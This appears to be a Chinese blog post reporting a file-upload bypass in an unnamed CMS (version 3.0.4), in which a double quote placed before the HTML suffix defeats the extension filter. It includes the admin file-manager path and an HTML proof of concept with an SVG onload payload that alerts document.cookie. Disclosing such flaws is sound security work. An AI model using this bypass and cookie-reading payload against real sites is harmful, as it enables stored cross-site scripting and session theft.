某cms奇怪的文件上传绕过漏洞

最新推荐文章于 2024-08-04 22:21:07 发布

Adsatrtgo

最新推荐文章于 2024-08-04 22:21:07 发布

阅读量884

点赞数

分类专栏： web漏洞复现文章标签：绕过上传限制

本文链接：https://blog.csdn.net/qq_38376348/article/details/102747924

版权

web漏洞复现专栏收录该内容

21 篇文章 2 订阅

订阅专栏

0x01
给老外写的时候用的英文（谷歌翻译的）
I installed the latest version of ***（这个东西比较敏感） CMS and found upload bypass in the system
In the latest version(3.0.4), the system forbids HTML suffix name upload, but now it can bypass it.

图片.png

0x02
Vulnerability proof

You can bypass the file upload limit by putting double quotes before the suffix of HTML

1 Visit website http://[address]:[port]/[app_path]/admin/index.php?id=filesmanager with login

2 Save html codes with '.png’extensions. and upload it like below.

<html> 
    <head> 
	    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hacker</title> 
    </head> 
    <body> 
     <svg/onload=alert(document.cookie)>
    </body> 
</html>

图片.png